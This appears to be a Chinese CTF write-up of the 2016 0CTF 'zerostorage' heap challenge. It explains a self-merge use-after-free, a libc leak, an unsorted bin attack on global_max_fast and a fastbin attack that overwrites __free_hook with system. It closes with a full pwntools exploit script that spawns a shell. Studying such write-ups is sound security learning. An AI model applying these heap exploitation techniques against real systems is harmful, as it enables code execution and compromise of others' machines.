盒子
盒子
文章目录
  1. 简介 :
  2. 详解 :
    1. 思路 :
  3. EXP :

2016 0CTF zerostorage

简介 :

这题目之前就做完了。。因为中秋实在是太懒了。一直没有写文章,今天好好悔过,忏悔一下,重新做了一遍,现在开始写。这题接着上一题的unsortbin attack。

详解 :

checksec:

1
2
3
4
5
6
7
8
➜  zerostorage checksec ./zerostorage 
[*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/zerostorage/zerostorage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

全开了。

分析一下程序功能:

bss段存了三个部分:

  1. 申请堆块个数计数
  2. 随机数
  3. 堆块结构体 :固定数字1(表示正在使用),申请大小,申请到的地址和随机数异或后得到的地址。这三部分构成了堆块的结构体。

insert :

  1. 逐一查看 chunk_struct 数组,查找第一个未使用的元素,但是这个数组最大也就是32。
  2. 读取 chunk 元素所需要存储内容的长度。
    • 如果长度不大于0,直接退出;
    • 否则如果申请的字节数小于128,那就设置为128;
    • 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
    • 否则,设置为4096。
  3. 使用 calloc 分配指定长度,注意 calloc 会初始化 chunk 为0。
  4. 将 calloc 分配的内存地址与 bss 段的随机数进行抑或,得到一个新的内存地址。
  5. 根据读取的chunk的大小来读入内容。
  6. 将对应的chunk的大小以及存储内容的地址保存到对应的chunk_struct元素中,并标记该元素处于可用状态。但是,需要注意的是,这里记录的storage的大小是自己输入的大小!!!
  7. 递增num的数量。

update :

  1. 如果没有任何存储,就直接返回。
  2. 读入要更新的chunk_struct元素的id,如果id大于31或者目前处于不处于使用状态,说明不对,直接返回。
  3. 读取更新后chunk所需要存储内容的长度。
    • 如果长度不大于0,直接退出;
    • 否则如果申请的字节数小于128,那就设置为128;
    • 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
    • 否则,设置为4096。
  4. 根据 bss 段对应的随机数获取原先chunk存储内容的地址,
  5. 如果更新后所需的长度不等于更新前的长度,就使用realloc为其重新分配内存。
  6. 再次读取数据,同时更新chunk_struct元素。

merge :

  1. 如果正在使用的元素不大于1个,那么无法合并,直接退出即可。
  2. 判断chunk_struct是否已经满了,如果不满,找出空闲的那一块。
  3. 分别读取merge_from的id以及merge_to的id号,并进行相应大小以及使用状态的检测。
  4. 根据最初用户输入的大小来计算两个 merge 到一起后所需要的空间,如果不大于128,那就不会申请新的空间,否则就申请相应大小的新的空间。
  5. 依次将merge_to与merge_from的内容拷贝到相对应的位置。
  6. 最后存储merge_from内容的内存地址被释放了,但并没有被置为NULL。同时,存放merge_to内容的内存地址并没有被释放,相应的storage的抑或后的地址只是被置为了NULL。
  7. 但是需要注意的是,,在merge的时候,并没有检测两个storage的ID是否相同。

最重要的也就是上面三个功能了,后面的delete,view,list都是普通的功能。

思路 :

  1. 程序读入了from ID与to ID后,完成一个合并的操作,然后将from ID指向的那个堆内存free。那么如果merge时输入的2个ID相同,在完成合并后那块内容指向的chunk将被free,但是我们依然可以读写那块chunk,造成use after free.之后直接view这块内容,即可leak出libc的地址。

  2. 在上述操作后,chunk被放入unsorted bin中,此时如果修改这个chunk的bk指针并重新malloc这个chunk,就能触发unsortedbin attack。进而去修改global_max_fast的值。这个变量用于控制最大的Fast chunk的大小,将这里改写为unsorted bin的地址(一般来说是一个很大的正数),就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack。

  3. 由于unsorted bin在改写操作后即被破坏,我们需要事先布置好内存的布局。在改写global_max_fast之后,我们再进行一次merge的操作,这次chunk将进入’Fast bin’(实际它的index并不在正常的Fast bin数组内,但没有关系),然后改写fd指针指向程序管理内容的数组,我们需要事先在数组上insert一个大小为144的块作为Fast chunk的size以通过检查,然后将fd指到这里。

    之后下下次的malloc即可取得程序bss上的指针,注意分配过来的时候需要读入对应的大小,我们需要故意让这段区域跨过这个块自己,因为程序在读入数据之后还会将其元数据回填,这样我们就能通过view来得到异或之后的地址,随即计算出key的值。然后update这个块,修改某一个指针为realloc_hook的地址异或key的值,接着update对应的块,将system的地址填入realloc_hook。最后扩大事先布置好的存有/bin/sh的块,即可得到shell。

这里我们也可以覆盖修改free_hook等等的值。

还有一个注意点:

由于本机是ubuntu16,但是程序开了PIE,且在ubuntu16中libc基址和程序基址不存在固定的偏移,所以该程序在本机中只有在关闭了aslr的情况下才能够getshell。

详细的就不说了,仔细查看exp。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

p = process('./zerostorage')
context.log_level = 'debug'
libc = ELF('./libc.so')

def insert(length, data=''):
data = data.ljust(length, 'A')
p.recvuntil('Your choice: ')
p.sendline('1')
p.sendline(str(length))
p.send(data)

def update(idx, length, data=''):
data = data.ljust(length, 'B')
p.recvuntil('Your choice: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(length))
p.send(data)

def merge(fro, to):
p.recvuntil('Your choice: ')
p.sendline('3')
p.sendline(str(fro))
p.sendline(str(to))

def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.sendline(str(idx))

def view(idx):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Entry ID: ')
p.sendline(str(idx))

elf_base = 0x555555554000

insert(0x8) #0 merge
insert(0x90,'/bin/sh;') #1
insert(0x8) #2
insert(0x90) #3 fake bss chunk
insert(0x80) #4 avoid top chunk

merge(0,0) #5
view(5)

# leak libc
p.recvuntil('Entry No.5:\n')
data = u64(p.recv(6).ljust(8,'\x00'))
log.success('leak main_area :'+hex(data))
libc_base = data - 0x3c4b78
global_max_fast = libc_base + 0x3c67f8
realloc_addr = libc_base + libc.symbols['__realloc_hook']
system_addr = libc_base + libc.symbols['system']
free_addr = libc_base + libc.symbols['__free_hook']

# unsortbin attack
payload = p64(global_max_fast - 0x10)*2
update(5,len(payload),payload)
insert(0x8) #0

# fastbin attack
merge(2,2) #6
payload2 = p64(elf_base + 0x203060 + 0x18 + 0x18 + 0x18)
update(6,len(payload2),payload2)
insert(0x8) #2
insert(0x88,'A'*0x50+p64(0x0)) #7

# leak after xor num --> get xor num
view(7)
p.recvuntil('\x88\x00\x00\x00\x00\x00\x00\x00')
data2 = u64(p.recv(8))
log.success('leak xor :'+hex(data2))
xor_num = data2^0x5555557570b8
log.success('xor num :'+hex(xor_num))

# change free_hook --> system
payload3 = p64(free_addr^xor_num)
update(7,0x88,payload3)

payload4 = p64(system_addr)
update(3,0x90,payload4)

delete(1)

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫